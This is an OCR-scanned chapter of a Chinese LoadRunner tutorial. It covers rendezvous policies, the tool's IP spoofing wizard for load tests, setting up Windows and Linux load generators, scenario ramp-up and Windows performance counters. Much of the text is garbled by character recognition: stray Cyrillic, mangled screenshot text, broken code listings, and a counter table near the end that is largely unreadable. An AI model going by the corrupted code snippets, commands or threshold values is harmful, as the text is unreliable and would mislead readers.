2) Available Scripts: 当前 可 以 使 用 的 脚本 。 如 果 没 有 想 要 的 脚本 ， 可 以 单 击 Browse 按 钮 选择 。 
3) Scripts in Scenario: 当选 中 要 加 入 场景 的 脚本 后 ， 单 击 Add 按 钮 ， 即 可 把 脚本 加 入 场景 并 在 该 列 中 显示 。 


此 处 小 白 选 择 了 最 常用 的 手工 场景 ， 并 将 之 前 练习 的 脚本 加 入 场景 ， 详 细 学 习 Controller。 


下 面 将 从 什么 是 集合 点 、 如 何 启用 集合 点 和 集合 点 的 应 用 策略 方面 进行 讲解 。 


1. 理 解 集合 点 


集合 点 是 什么 呢 ? 仍 以 前 面 的 跑步 为 例 。 所 谓 集合 点 ， 就 是 10 名 运动 员 从 起 点 出 帮 ， 要 跑 3 圈 ， 规 定 再 次 经 过 起 点 时 要 等 待 所 有 运动 员 全 部 到 达 后 ， 才 能 进行 第 2 圈 的 赛跑 。 集 合 点 就 是 这 个 道理 ， 它 的 


意义 在 于 最 大 程度 地 模拟 并 发 。 


全 注意 集合 点 并 不 能 模拟 真正 意义 上 的 并 发 ， 因 为 即使 是 通过 集合 点 的 虚拟 用 户 ,但 由 于 网 络 等 多 种 因素 的 影响 并 不 能 同一 时 刻 到 达 服 务 器 ， 仍 有 先后 差异 。 


2. 启 用 集合 点 


在 LoadRunner 中 启用 集合 点 需要 在 编写 脚本 时 加 入 ， 集 合 点 函数 为 |_rendezvous ("集合 点 名 称 ") ; 。 只 需 把 集合 点 函数 放 到 脚本 的 某 个 事务 或 操作 之 前 即 可 。 只 有 完成 这 步 操作 后 ， 才 能 在 


Controller 中 启用 集合 点 ， 方 法 为 依次 单 击 Insert 一 Rendezvous 菜 单项 ， 如 图 3-3 所 示 。 


End Transaction 


Li 
ы 
иии АИИ ИАЕА F 


Е —— 


Prr New Parameter... 


бе 


图 3-3 ”集合 点 
Qi 集合 点 不 要 添加 到 事务 中 ， 要 放 到 事务 外 ， 否 则 事务 的 统计 会 把 集合 点 的 等 待 时 间 也 统计 进去 。 
3. 集 合 点 策略 
经 过 上 面 的 操作 就 可 以 进入 集合 点 策略 设置 界面 ， 如 图 3-4 所 示 。 
图 3-4 中 主要 选项 含义 如 下 。 
1) Rendezvous: 集合 点 的 列表 ， 可 通过 下 方 的 Disable Rendezvous 按 钮 来 启用 或 关闭 。 
2) Scripts: 当前 脚本 的 名 称 。 
3) Vuser: 当前 设置 的 并 发 用 户 数 ， 可 通过 下 方 的 Disable VUser 按 钮 来 启用 或 关闭 虚拟 用 户 。 


4) Policy (集合 点 策略 ) : 单 击 后 进入 策略 设置 对 话 框 ， 如 图 3-5 所 示 。 


јего спре 1 
demo. scnpt: 10 
demo scnpt2 
emo scnpl:3 
emo _scnpt: 4 
jema єспр Б 
demo scnptb 
demo scnpt / 
E emo scnpbB 
demo scnpt:3 


96 Disable Rendezvous| Policy... | Disable VU ser | 


- Policy- 
С` Release When | 100 E X of all'Vusers arrive at the rendezvous 


+ Release when [100 E % of all running Vusers amve at the rendezvous 
С Release when |1 


Timeout between Vusers: 


图 3-5 ”集合 点 策略 
图 3-5 中 显示 了 常见 的 3 种 策略 ， 其 含义 如 下 。 
` 当 所 有 用 户 的 X% 到 达 集 合 点 时 释放 。 
` 当 所 有 正在 运行 的 用 户 的 X% 到 达 集 合 点 时 释放 。 
` 当 X 个 用 户 达 到 集合 点 时 释放 。 
` 超时 设置 。 表 示 等 待 用 户 超时 的 设 定 ， 如 果 在 X 秒 内 还 没有 满足 要 求 的 用 户 到 达 ， 则 释放 集合 点 。 


到 这 里 小 白 并 没有 停止 思考 ， 而 是 想到 了 以 跑步 为 例 再 次 理解 集合 点 的 3 种 策略 。 假 设 有 100 个 运动 员 跑步 ， 设 置 的 集合 点 策略 自分 比 均 为 100%， 但 这 100 个 运动 员 并 不 是 一 开始 就 共同 跑 的 ， 而 是 每 隔 
1min 加 入 10 个 运动 员 ， 即 10min 后 才 有 100 个 运动 员 在 跑步 。 这 里 100 就 是 所 有 运动 员 数 ， 而 不 同时 间 正 在 跑 的 运动 员 数 量 是 不 同 的 。 对 应 到 图 3-5 中 ， 从 上 至 下 的 策略 (policy) 作用 如 下 。 


第 一 个 策略 : 是 指 当 全 部 运动 员 都 运行 到 了 集合 点 函数 时 才 释 放 。 


第 二 个 策略 : 是 指 当前 时 间 如 果 只 有 10 个 运动 员 在 跑步 ， 那 么 只 要 这 10 个 运动 员 都 运行 到 了 集合 点 函数 就 释放 。 
第 三 个 策略 : 当 到 达 集 合 点 的 运动 员 数 达到 设置 的 数量 后 就 释放 。 


这 下 小 白 可 算 真正 理解 了 集合 点 的 含义 以 及 策略 的 精髓 了 。 


3.2.2 ”IP 欺骗 实战 


下 面 将 从 以 下 几 个 方面 来 讲解 IP 欺 骗 的 实践 。 
1. 理 解 IP 欺 骗 


看 到 这 个 搞笑 的 命名 小 白 心 里 一 乐 ， 这 功能 看 着 有 够 似 很 好 玩 。1P 欺 骗 就 是 使 不 同 用 户 有 不 同 IP 地 址 ， 这 样 最 真实 地 模拟 了 现实 场景 。 但 有 一 点 必须 明白 ， 对 于 一 般 系 统 而 言 ， 是 否 使 用 IP 欺 骗 并 不 会 影 
响 性 能 测试 。 只 有 在 特殊 的 要 求 下 才 会 使 用 ， 如 下 面 两 种 情况 。 


Т) 某 系统 限制 了 同一 个 1P 用 户 在 短 时 间 内 对 系统 进行 恶意 或 大 量 的 请 求 访问 。 

2) 负载 均衡 策略 是 根据 iP 规则 分 配 的 。 

2. fa FBIP RAS 

想 要 启用 IP 欺 骗 需 要 做 一 项 前 置 工作 ， 就 是 本 地 的 IP 地 址 不 能 设置 为 “自动 获取 ”， 必 须 指定 一 个 静态 IP 地 址 ， 否 则 会 弹出 如 图 3-6 所 示 的 提示 。 


静态 |P 地 址 指定 好 之 后 就 可 以 设置 |P 欺 骗 了 ， 步 骤 如 下 。 


1) 依次 单 击 HP LoadRunner 一 Tools 一 |P Wizard 进 入 设置 对 话 框 ， 如 图 3-7 所 示 。 


IP Wizard 


The IP wizard does not support DHCP-enabled network cards. 

Your cards are either DHCP-enabled or configured with invalid settings. 
Please contact your system administrator. 

Exiting... 


图 3-6 ”IP 欺骗 设置 提示 


IP Wizard helps you manage your machine s IP addresses 
Select one of the following: 


(w Create new settir 


( Load previous settings fro | 
(` Restore original set: 


before any changes you made can take effect 
table of the server might need 


取消 | 帮助 | 


Importar 


с E—21E (8) 


图 3-7 设置 IP 欺 骗 (1) 


2) 选择 Create new setting， 单 击 “ 下 一 步 ” 按 钮 ， 出 现 如 图 3-8 所 示 界 面 。 


3) 输入 服务 器 的 I|P 地 址 ， 或 者 留 空 也 可 以 ， 单 击 “ 下 一 步 ” 按 钮 ， 出 现 如 图 3-9 所 示 界 面 。 


IP Wizard - Step 2 of 3 


Üptional: You can enter your server s IP address here. 


IP Wizard will check if the server's routing table will 
need updating. 
If zo, scripts will be generated to help you update. 


图 3-8 ”设置 IP 欺 骗 (2) 


IP Wizard - Step 3 of 3 


IP Address | Subnet Mask 


192. 168. 003. 008 255. 255. 255. 000 


Number of IFs 


| | Remove | 
< 1—8 Ф) 


图 3-9 ”设置 IP 欺 骗 (3) 


取消 | юй | 


4) 单 击 Add 按 钮 ， 弹 出 添加 IP 的 对 话 框 ， 如 图 3-10 所 示 。 


5) 修改 From 1P 为 192.168.3.9，Number to add 为 5， 单 击 OK 按钮 ， 出 现 如 图 3-11 所 示 界 面 。 


Private Address Spaces: 
Addresses that start with the Following prefixes can be safely 
used within a prreate LAN 


E E 


(w ClassC С Па В C Class& С Don'tuse any of these 


9ubmask | 255 . 2559 . 255 . Ü 


м Verify that new IP addresses are not already in use 


| Cancel | нәр | x 


图 3-10 HEIKI (4) 


ІР Address Subnet Mask 


192. 168.003.008 255. 255. 255. 000 ` 


192. 168. 3. 9 255. 255. 255. Ü 
192. 169, 3. 10 255. 255. 255. Ü 
192. 168. 3. 11 255. 255. 255. Ü 
192. 168. 3. 12 259. 255, 299. Ü 
192. 168. 3. 13 255. 299. 255. Ü 


图 3-11 EIPK (5) 


6) 单 击 “ 完 成 ”按钮 ， 出 现 如 图 3-12 所 示 界 面 。 


[^ Open IP Configuration summary upon completion 


Save as... 


图 3-12 设置 IP 欺 骗 (6) 
7) 单 击 “Save as” 按 钮 可 以 将 本 次 增加 的 IP 地 址 保存 成 .ips 文 件 ， 下 次 再 使 用 时 就 可 以 直接 选择 此 文件 了 。 单 击 OK 按 钮 后 完成 设置 。 
8) 进入 Controller 中 ， 选 择 Scenario 一 Enable IP Spoofer， 完 成 |P 欺 骗 设置 的 全 部 操作 。 
如 果 想 验证 结果 ， 那 么 可 以 在 VuGen 中 编写 代码 (参见 代码 清单 3-1) ， 然 后 运行 即 可 。 


代码 清单 3-1 БІРДЕҢЕ 


Action () 
{ 


char *ір; 

ip = lr get vuser ip O ; 

"d. cl 

lr output message ("IP 地 址 为 $s”， ip); 
else 
lr output message ("IP 欺骗 不 可 用 ”) ; 
return 0; 


} 


3. 释 放 IP 欺 骗 


IP 欺 骗 使 用 完成 后 干 万 别 志 了 释放 ， 做 事情 一 定 要 有 头 有 尾 ， 这 样 才 完 整 。 释 放 的 操作 十 分 简单 ， 重 复 图 3-9~ 图 3-12 所 示 的 操作 ， 并 在 图 3-9 中 ， 单 击 Remove 按 钮 ， 移 除 后 表单 击 “ 完 成 ”按钮 即 
可 。 最 后 别 志 了 重启 计算 机 ， 这 样 就 完成 了 IP 的 释放 。 


3.23 添加 Windows 和 Linux 压 力 机 实战 


既然 Controller 是 LoadRunner 的 “心脏 ”， 那 么 压力 产生 也 必然 是 它 发 起 的 ， 通 过 压力 机 来 对 被 测 系统 产生 压力 。 一 般 压 力 机 分 为 Windows 和 Linux。 当 并 发 量 比较 大 时 建议 使 用 Linux。 


1. 添 加 Windows 压 力 机 

添加 Windows 压 力 机 的 步骤 相对 来 说 简单 些 ， 具 体 如 下 。 

Т) 保证 要 添加 的 压力 机 上 安装 了 LoadRunner Agent， 并 启用 (状态 栏 中 会 有 一 个 小 卫星 ) 。 

2) 添加 的 压力 机 与 Controller 所 在 机 器 要 在 同一 个 网 段 ， 建 议 把 防火 墙 关 闭 。 

3) 本 地 系统 的 RPC 服 务 要 开启 (在 “控制 面板 ”一 “管理 工具 ”一 “服务 ”中 开启 ， 建 议 改 为 自 启 动 ) 。 

4) 之 后 从 Controller 所 在 的 机 器 上 登录 到 压力 机 ， 验 证 是 否 可 以 连通 。 单 击 Windows 系 统 的 “开始 ”菜单 ， 选 择 “ 运 行 ”， 在 弹出 的 对 话 框 中 输入 “^\\ 机 器 名 ， 如 果 不 报错 则 成 功 。 
全 注意 “建议 关闭 360 等 各 类 管理 软件 、 杀 毒 软 件 ， 同 时 要 拥有 足够 的 权限 。 


5) 进入 Controller， 依 次 单 击 Scenario 一 Load Generators 菜 单项 ， 出 现 如 图 3-13 所 示 界 面 ， 默 认 会 有 一 台 压 力 机 ， 即 本 机 。 


6) 如 果 想 添加 其 他 压力 机 ， 单 击 Add 按 钮 ， 出 现 如 图 3-14 所 示 界 面 。 


03-13 ”压力 机 


Iv Enable load generator to take part in the scenario 


83-14 添加 压力 机 
图 3-14 中 各 选项 的 含义 如 下 。 
: Мате: 这 里 很 多 人 都 会 输入 机 器 的 名 称 ， 其 实 应 该 输入 压力 机 的 JP 地址 。 
: Platform: 默认 为 Windows 即 可 。 
7) 单 击 OK 按钮 ， 完 成 压力 机 的 添加 ， 然 后 单 击 图 3-13 右 侧 的 Connect 按 钮 ， 可 以 测试 能 否 连通 ， 如 果 连 通 ， 则 会 显示 Ready 状 态 。 


8) 最 后 可 以 把 压力 机 分 到 对 应 的 脚本 上 ， 如 图 3-15 所 示 。 


scenario Groups 


Script Path 


[ef |basic script D:^HP^LaadRunnerstutonalbasic: script 


图 3-15 “分配 压力 机 
2. 添 加 Linux 压 力 机 
添加 Linux 压 力 机 稍微 复杂 些 ， 需 要 有 一 定 的 Linux 基 础 ， 还 好 小 白 平 时 也 经 常 使 用 Linux， 所 以 心里 松 了 一 口气 。 添 加 步骤 如 下 。 
1) 到 HP 官网 下 载 HP_ LoadGenerator， 解 压 到 本 地 后 上 传 到 Linux 中 ， 文 件 名 为 Linux。 
2) 在 控制 台 输入 chmod-R+x Linux/* 命 令 ， 用 于 修改 文件 的 权限 。 
3) 在 控制 台 输 入 cd Linux 命 令 ， 进 入 Linux 目 录 。 
4) 在 控制 台 输 入 /installer.sh 命 令 ， 进 行 安装 ， 按 照 提示 操作 即 可 。 
5) 在 控制 台 输 入 useradd-g 0O-s/bin/bash besttest 命 令 ， 用 于 新 增 一 个 名 为 besttest 的 用 户 。 


6) 在 控制 台 输 入 vi/root/.bashrc 命 令 ， 用 于 编辑 .bashrc 文 件 ， 添 加 如 下 内 容 。 


export PRODUCT DIR=/opt/HP/HP LoadGenerator 
export M LROOT=$PRODUCT DIR 
export LD LIBRARY PATH-$(M LROOT}/bin 
export PATH-$(M LROOT]/bin: $PATH 


7) 在 控制 台 输 入 su-besttest 命 令 ， 切 换 为 besttest 用 户 。 
8) 在 控制 台 输 入 cd/opt/HP/HP_LoadGenerator/bin/ 命 令 ， 用 于 进入 安装 后 的 默认 目录 中 。 
9) 在 控制 台 输 入 ./verify generator 命 令 ， 用 于 验证 配置 是 否 正 确 。 


10) 在 控制 台 输入 m_daemon_setup start 命 令 ， 用 于 启动 服务 ， 如 果 成 功 ， 则 会 显示 类 似 下 面 的 提示 。 


m agent daemon ( 22914 ) 


11) 回 到 Controller 里 重复 添加 Windows 压 力 机 的 步骤 即 可 。 这 里 需要 注意 的 是 ， 有 一 点 和 添加 Windows 压 力 机 不 同 ， 如 图 3-16 所 示 ， 要 勾 选 Don”t use RSH 复 选 框 。 


Add New Load Generater 


Name: 1 92168.3.2 


Platform: UNIES т 


Temporary directory: | Нер | 


iv Enable load generator to take part in the scenario | Less * 


Vuser Limits | Security | ПАН Emulation | Terminal Services 
Status | Run-Time File Storage Unix Environment | Run-Time Quota 


- Login as 


Г Нала | = [^ Uze loya 


J 


Initialiration 


HOTE: This tab will not be relevant for a host running Vusers 
or monitoring over the firewall. 


图 3-16  Z&JmLinux/& 7] Jt 
3.24 场景 设计 实战 
场景 设计 其 实 就 是 设置 场景 的 加 压 方式 、 运 行 时 间 、 减 压 方式 等 。 场 景 设计 并 没有 好 坏 之 分 ， 因 为 目的 不 同 ， 场 景 就 有 可 能 不 同 ， 小 白 学 习 了 如 下 几 种 常见 的 场景 设计 模型 。 


1. 快 增长 


快 增长 的 意思 就 是 压力 在 瞬间 启动 并 达到 最 大 。 设 置 方法 为 在 Controller 中 的 Schedule 区 域 分 别 双 击 Start Vusers 和 Stop Vusers， 然 后 选择 Simultaneously， 单 击 OK 按钮 即 可 ， 如 图 3-17 所 示 。 


Initialize each Vuser just before it runs 


Start 20 Vusers simultaneously 


Run for 00:05:00 (HH:MM:SS) 


Stop all Vusers simultaneously 


图 3-17 ЖК 
这 样 的 设置 在 场景 中 运行 ， 会 瞬间 启动 20 个 虚拟 用 户 ， 持 续 5min 后 ,瞬间 停止 这 20 个 虚拟 用 户 。 
2. 慢 增长 


慢 增 长 的 意思 就 是 压力 按照 设 定 的 规则 慢 慢 增加 ， 当 到 达 设 置 点 后 持续 运行 一 段 时 间 ， 然 后 慢 慢 减 压 。 设 置 方法 同 快 增长 ， 如 图 3-18 所 示 。 


> а Ф Ф 


Initialize 


Start Vusers ET art 20 m D ë On :01 00 ГНН: MM 1:553 


Duration Bun. "m 00: 05: 00 (НЕ: им: 55) 


| | 
Stop Vusers Stop all Vusers: 5 every 00:01:00 (HH:MM:SS) 


93-18 ЖЖК 
这 样 的 设置 在 场景 中 运行 ， 会 以 每 分 钟 增加 5 个 虚拟 用 户 的 策略 增长 ， 当 达到 20 个 虚拟 用 户 后 ， 持 续 运 行 2min， 然 后 再 以 每 分 钟 停止 5 个 虚拟 用 户 的 策略 结束 。 
3. 指 定 运 行 次 数 


这 里 的 运行 次 数 是 以 虚拟 用 户 数 来 判断 的 。 例 如 ， 如 果 虚 拟 用 户 数 是 10， 选 择 此 种 场景 策略 ， 则 场景 运行 完 10 个 虚拟 用 户 数 后 自动 结束 。 双 击 Duration 并 选中 Run until completion 即 可 ， 如 图 3-19 所 


N 
І 
о 


| Total: 1 Vusers 


Initialize Initialize each Vuser just before it runs 
PER 1 Vusers: 2 every 00:00:15 (HH:MM:SS) 


Start  Vusers 


k Duration Run until completion 


图 3.19 指定 运行 次 数 
Qin 如果 对 测试 数据 没有 特别 的 要 求 ， 完 全 可 以 利用 “ 插 定 运行 次 数 ” 这 样 的 场景 策略 来 制造 测试 数据 。 
4. 组 模式 
组 模式 也 比较 容易 理解 ， 仍 然 以 BestTest 论 坛 为 例 。 一 些 水 军 经 常会 注册 登录 论坛 ， 然 后 发 一 些 垃圾 帖子 ， 管 理 员 要 删除 这 些 帖子 。 对 于 这 样 有 先后 顺序 的 场景 选用 组 模式 。 
组 模式 中 的 策略 有 3 种 ， 分 别 如 下 。 
1) 在 场景 开始 时 启动 执行 。 
2) 在 场景 执行 一 段 时 间 后 开始 运行 


3) 当 某 个 脚本 完成 后 再 运行 选 定 的 脚本 。 


3.3 ”场景 三 控 实战 
场景 的 设计 学 完 后 ， 接 下 来 学 习 场 景 的 监控 ， 这 是 很 重要 的 ， 在 学 习 如 下 内 容 的 同时 要 回顾 1.3 节 中 的 知识 。 
3.3.1 监控 信息 概览 与 自 定义 脚本 


上 面 学 习 的 都 是 Controller 的 Desgin 界 面 中 的 内 容 ， 下 面 学 习 Run 界 面 中 的 内 容 ， 这 里 主要 完成 场景 的 实时 监控 。 
1. 虚 拟 用 户 数 的 监控 与 增加 
首先 观察 左 侧 的 Groups 区 域 ， 如 图 3-20 所 示 。 


此 处 显示 的 是 虚拟 用 户 的 状态 ， 可 显示 出 虚拟 用 户 从 准备 、 初 始 化 、 运 行 到 停止 的 所 有 状态 过 程 ， 同 时 能 统计 出 成 功 、 失 败 以 及 集合 点 处 的 虚拟 用 户 数 。 


ocenario Groups 


图 3-20 Groups IX 3X, 


这 时 候 小 白 脑 袋 中 出 现 一 个 疑问 : 如 果 我 想 在 运行 过 程 中 增加 虚拟 用 户 该 怎么 操作 呢 ?” 其 实 很 简单 ， 单 击 中 间 区 域 中 的 Vusers 按 钮 ， 弹 出 Vusers 对 话 框 ， 如 图 3-21 所 示 。 


[WiWeers >] 


Idemo. script localhost 
demo script localhost 
demo _ script localhost 


demo script localhost 
demo_script localhost 
demo _ script localhost 
demo script localhost 
mee script localhost —— 


=- a- 


C HI 


Ld e 


图 3-21 Vusets 对 话 框 


单 击 AddVuser 按 钮 ， 弹 出 Add Vusers 对 话 框 ， 如 图 3-22 所 示 。 


修改 图 3-22 中 的 Quantity їо add 值 后 单 击 OK 按 钮 即 可 完成 。 需 要 注意 的 是 ， 到 此 步骤 虽然 完成 了 添加 ， 但 并 没有 运行 新 加 的 虚拟 用 户 ， 如 果 想 运行 新 加 的 虚拟 用 户 ， 则 需要 返回 Run 标 签 的 Groups 区 
域 进行 操作 ， 如 图 3-23 所 示 。 可 单 击 Run Vusers 按 钮 ， 一 次 性 运行 所 有 新 添加 的 虚拟 用 户 ， 也 可 以 单 击 Run One Vuser 按钮 来 一 个 个 运行 新 添加 的 虚拟 用 户 。 


Load Generator Name: 


图 3-22 Add Vusers*] i£ 4E 


Scenaro Groups 


UE 


& 
x 
| 
т 


araup D N ame е 


3-23 ”运行 新 加 的 虚拟 用 户 


2. 场 景 运行 状态 监控 
右 侧 区 域 是 场景 运行 状态 的 概览 ， 可 以 看 到 当前 虚拟 用 户 数 、 执 行 时 间 、 最 后 60s 的 点 击 率 、 通 过 事务 数 、 失 败 事务 数 以 及 错误 信息 ， 如 图 3-24 所 示 。 


其 中 需要 重点 关注 的 是 事务 数 以 及 错误 信息 ， 在 这 里 可 以 清晰 地 看 到 事务 数 的 变化 ， 方 便 快 速 判断 。 如 果 存 在 多 个 事务 ， 则 可 以 单 击 后 面 的 放大 镜 按钮 ， 碍 看 到 详细 的 列表 信息 ， 如 图 3-25 所 示 。 如 果 
场景 中 有 错误 出 现 ， 也 可 以 通过 Errors 查 看 具体 的 错误 信息 ， 这 也 是 后 续 分 析 时 重要 的 参考 数据 。 


scenaro Status 


Running V users 


Elapsed Time 


Hitz/Second 
Passed Transactions 


Failed Transactions 


图 3-24 ”场景 运行 状态 概览 


Action Transaction 
vuser init Transaction. ` 


图 3-25 “事务 详细 列表 


3. 利 用 脚本 自 定义 显示 信息 


可 以 通过 编写 脚本 来 自 定义 监控 信息 ， 此 处 以 监控 虚拟 用 户 状态 信息 为 例 ， 示 例 代 码 清单 3-2 所 示 。 
代码 清单 3-2” 自 定义 监控 


static int iteration; 
Action () 


{ 
// 在 Vugen 中 显示 参数 值 ， СОЯ 
lr output message C ` 当 前 参数 ， lr eval string (“{param}”) ) ; 
lr think time (10) ; 
// 芷 Controller 监 视窗 口中 显示 当前 参数 值 和 当 前 值 的 迭代 次 数 
lr vuser status message С“: ss, МУКК: 
$d", lr eval string (“{рагат}”) , ++ібегабіоп) ; 
return 0; 


代码 清单 3-2 在 Controller 中 的 运行 效果 如 图 3-26 所 示 。 


当前 参数 :besttest2. 迁 代 次 数 : 2 


当前 获 数 :besttest2. 5] йй: 2 
当前 参数 besttest2, 选 代 次 数 : 2 

”当前 驳 数 :besttest2. 选 代 次 数 : 2 00 
当前 参数 :besttest2. 迭代 次 数 : 2 


Ej3-26 B GU dE 


3.3.2 ”Windows 和 Linux 的 监控 以 及 指标 讲解 
下 方 区 域 是 指标 监控 区 ， 一 般 都 会 在 此 处 观察 监控 指标 的 变化 ， 如 图 3-27 所 示 。 


Available Graphs 
Е Runtime Graphs 
| < Running Vusers 
— User Defined Data Points 
- Error Statistics 
|  Musers with Errors 
E Transaction Graphs 
|o o Trans Response Time 
E Trans/Sec [Passed] 
L Trans/Sec (Failed Stopped) 
i iu Total Trans/Sec [Passed] 
Е Web Resource Graphs 
| L.Hits per Second 
~ Throughput 
—HTTP Responses per Second 
^ Pages Downloaded per Second 
= Petnes per Second 
~ Donnections zl Elapsed Time (Hour-Min-Sec) 


# of Vusers 


图 3-27 ”监控 指标 


左 侧 的 Available Graphs 是 可 用 的 各 类 指标 ， 如 操作 系统 (Windows、Linux、UNIX 等 ) 、Web 服 务 器 (IIS, Apache, Weblogic, Websphere) 、 数 据 库 (SQL Server, Oracle, Sybase, DB2 
等 ) 。 


1. 图 表 的 布局 调整 与 监控 


想 监 控 某 个 指标 ， 只 需 把 左 侧 列表 中 的 指标 拖 到 右 侧 区 域 即 可 。 小 白 在 实际 操作 中 发 现 只 有 非 灰色 的 指标 才 可 以 监控 ， 灰 色 的 指标 在 当前 场景 下 不 可 用 。 用 鼠标 右键 单 击 图 表 可 以 调整 该 区 域 图 表 布 
局 ， 如 图 3-28 所 示 ， 可 以 展现 1 幅 图 、2 幅 图 、4 幅 图 、8 幅 图 以 及 自 定义 。 


3: 
* 1 

alete 
E Duplicate 

Hide Available Graphs 


00:00-00 00:00:05 00:00:10 00:00:15 00:00:20 00:00:25 00:00:30 00:00 


Hits рег Ес ог scenario 


l} Open a New Graph... 
Overlay Graphs... 


lil Export to HTML... 
Па) Freeze 
Elapsed Time (Ношг-Міп:Ѕес) E Configure... 
图 3-28 ”图表 布局 调整 
2.Windows 的 监控 
目前 主流 的 服务 器 操作 系统 无 非 就 是 Windows 系 列 和 Linux 系 列 ， 那 么 掌握 监控 这 两 类 流行 系统 必然 是 十 分 重要 的 。 
首先 ， 来 看 如 何 监控 Windows， 步 又 如 下 。 


Т) 被 监控 的 Windows 机 器 需要 开启 Remote Procedure Call (АРС) 和 Remote Registry Service 服 务 。 


2) 拥有 管理 员 访问 权限 。 


-00-00 00:00:05 00:00:10 00:00:15 


mr Show T 


| 
| 


Los 
| 
| 


] MT i F rw omi og 
[| Fi J 
| F - 
BoE ч Four Graphs 
ru =i i ka = 


{етт ШЕ Show Eight Graphs 
= Custom Number... 


3) 设置 安全 策略 为 经 典 (在 运行 框 中 输入 secpol.msc， 出 现 安全 策略 设置 对 话 框 ， 依 次 单 击 “ 本 地 安全 策略 ”一 “安全 选项 ”， 然 后 找到 网 络 访问 中 的 “本 地 账户 的 共享 和 安全 模式 ”， 将 其 修改 


经 典 ” 即 可 ) 。 


4) 在 Controller 中 的 Windows 上 单 击 鼠标 右键 ， 选 择 Add Measurements， 出 现 Windows Resources 对 话 框 ， 然 后 单 击 对 话 框 中 的 Add 按 钮 ， 出 现 Add Machine 对 话 框 ， 如 图 3-29 所 示 。 


5) 在 Name 处 输入 被 监控 机 器 的 IP 地 址 。 
6) Platform 值 保 持 默认 即 可 。 


7) 单 击 OK 按 钮 ， 可 以 看 到 下 方 列 出 可 监控 的 指标 ， 如 图 3-30 所 示 。 


图 3-29 添加 机 器 


Monitored Server Machines 


Add.. | Delte | 


Resource Measurements on: 192.168.3.2 


5 Disk Time (PhysicalDisk _ Total) 
< Idle Time (PhysicalDisk — Total] 
Z Interrupt Time [Processor Total] 

< Privileged Time [Processor Total] 
< Processor Time [Processor T otal) 


Avg. Disk Queue Length [PhusicalDisk Total] 

Bytes Total/sec [Server] 

Cache Bytes [Memory] 

Committed Bytes (Memory] 

Contest Switches/sec [System] 

Disk Transters/sec [PhysicalDisk _ Total) 

File Data Üperations/ sec [System] - - 


图 3-30 ”监控 指标 
加 注意 监控 指标 的 种 类 很 多 ， 不 需要 全 部 监控 ， 一 般 只 选择 关键 性 指标 监控 ， 因 为 监控 得 越 多 ， 对 机 器 的 额外 压力 也 就 越 大 。 
3.Windows 性 能 指标 讲解 
Windows 中 的 计数 器 非常 多 ， 但 不 需要 全 部 掌握 ， 只 需 对 重要 监控 指标 进行 学 习 总 结 即 可 ， 如 表 3-1 所 示 。 


表 3-1 Windows 重 要 监控 指标 


Object ( 对 象 ) 


Memory (内 存 ) 


(ЖЕ) 


Processor 


Physical Disk (物理 磁盘 ) 


Process (进程 ) 


Network Interface ([9] ££) 


System (系统 ) 


4.Linux 的 监控 


Counters (计数 器 】 
Available Mbytes 


Page/sec 
Pages Read/sec 


Cache Bytes 


о Ргосеѕѕог Time 


оте Time 


"eUser Time 


"sInterrupt Time 


voDisk Time 


Average Disk Queue Length 


Private Bytes 


Bytes Total/sec 


Output Queue Length 


Processor Queue Length 


Linux 的 监控 稍微 复杂 一 点 ， 需 要 先 在 被 监控 的 Linux 上 安装 RPC 服 务 。 步 骤 如 下 。 


1) 下 载 RPC 安 装 包 并 在 Linux 中 安装 。 


2) 安装 完成 后 使 用 rpc.rstatd 命 令 启 动 。 


含义 以 及 判断 技巧 
可 用 的 物理 内 存 数 。 至少 要 有 10% 的 物理 内 存 值 


口 Pageysec 是 为 解析 硬件 页 面 错误 从 磁盘 读 取 或 写 人 磁盘 
的 页 数 。 该 值 不 宜 超 过 20， 如 果 有 上 服务器 没有 足够 的 内 
存 处 理 ， 此 值 会 比较 高 ， 

口 Pages Read/sec 是 由 于 便 页 错误 而 该 取 磁 盘 的 次 数 。 一 
般 阅 值 汶 5， 如 果 该 值 一 直 持 续 较 大 ， 则 表示 很 多 是 从 
REEE, п НЕРУ E. 

ix HE (ELE ERS., HAEE HR РЧ Pa fr RU ie | e ВУ, 

也 可 能 是 者 存 设 置 太 太守 致 


交 件 组 存 系 统 ， 默 认为 30 的 可 用 物理 内 存 。 
内 存 不 使 时 ， 


会 自动 整理 缓存 

由 理 疾 的 请 耗 时 间 ， 此 值 的 最 性 范围 为 75% — 95%. ЙД 
果 持 续 高 于 95%， 则 有 可 能 是 人 处理 器 出 现 瓶 项， 需要 YS 加 
或 和 更换 一 个 更 好 的 

处 理 器 的 室 亲 时间。 该 值 太 小 说 明 资 源 可 能 设 有 被 充分 利用 

非 系 统 操 作 所 消耗 的 时 间 。 如 果 存 在 复杂 算法 或 大 量 计 
算 可 能 会 导致 该 值 较 高 

中 断 操作 所 消耗 的 时 间 ， 如 鼠标 、 和 磁盘 驱动 器 、 网卡 和 
其 他 外 部 设备 ， 这 些 设备 通常 都 会 中 断 处 理 器 。 如 果 该 计 
Zi aH Processor Time 同一 时 间 都 比较 高 (超过 80%), НЕ 
必 很 可 能 是 硬件 问题 

碘 树 操作 所 占用 的 时 间 。 此 值 过 大 表示 耗费 太 针 时 间 来 
访问 磁盘 ， 可 考虑 增加 内 存 、 换 更 快 的 硬盘 、 优 化 读 写 数 
据 的 算法 等 。 如 果 持 续 走 商 ， 而 CPU 与 网 络 并 设 有 人 饱和， 
ШЕ [能 存在 内 存 泄露 

读 取 请 求 的 平均 队列 长 度 。 一 - 般 
ВЕЕ ПО 太 慢 ， 要 撞 更 快 的 硬盘 


IIS 运行 


小 于 0.5， 此 值 过 大 表示 


是 当前 进程 专用 的 ， 无 法 与 其 他 进程 共 可 以 认为 它 
是 进程 对 物理 内 存 的 消耗 ， рур ет 更 加 稳定 。 


在 程序 产生 内 存 泄露 时 ， 该 值 一 定 是 不 断 上 涨 的 。 所 以 一 
般 更 倾向 于 使 用 Private Bytes 来 定量 进程 的 内 存 消 耗 和 分 
析 进 程 的 内 存 泄露 

每 秒 发 送 和 接收 的 字 节 数 ， 可 判断 网 络 是 否 达 
该 值 和 目前 网 络 带 宽 相 除 的 结果 应 该 小 于 50% 

输出 队列 长 度 。 输 出 队列 越 长 ， 延 时 处 理 输出 的 数据 请 
求 就 越 多 

等 待 外 理 器 处 理 的 线程 排队 长 度 , 不 包括 当前 正在 处 理 
的 。 如 果 该 值 持续 超过 处 理 器 的 总 数量 加 1 (一 般 为 2)， 则 
有 可 能 钼 理 需 出 现 了 堵塞 


到 饱和 。 


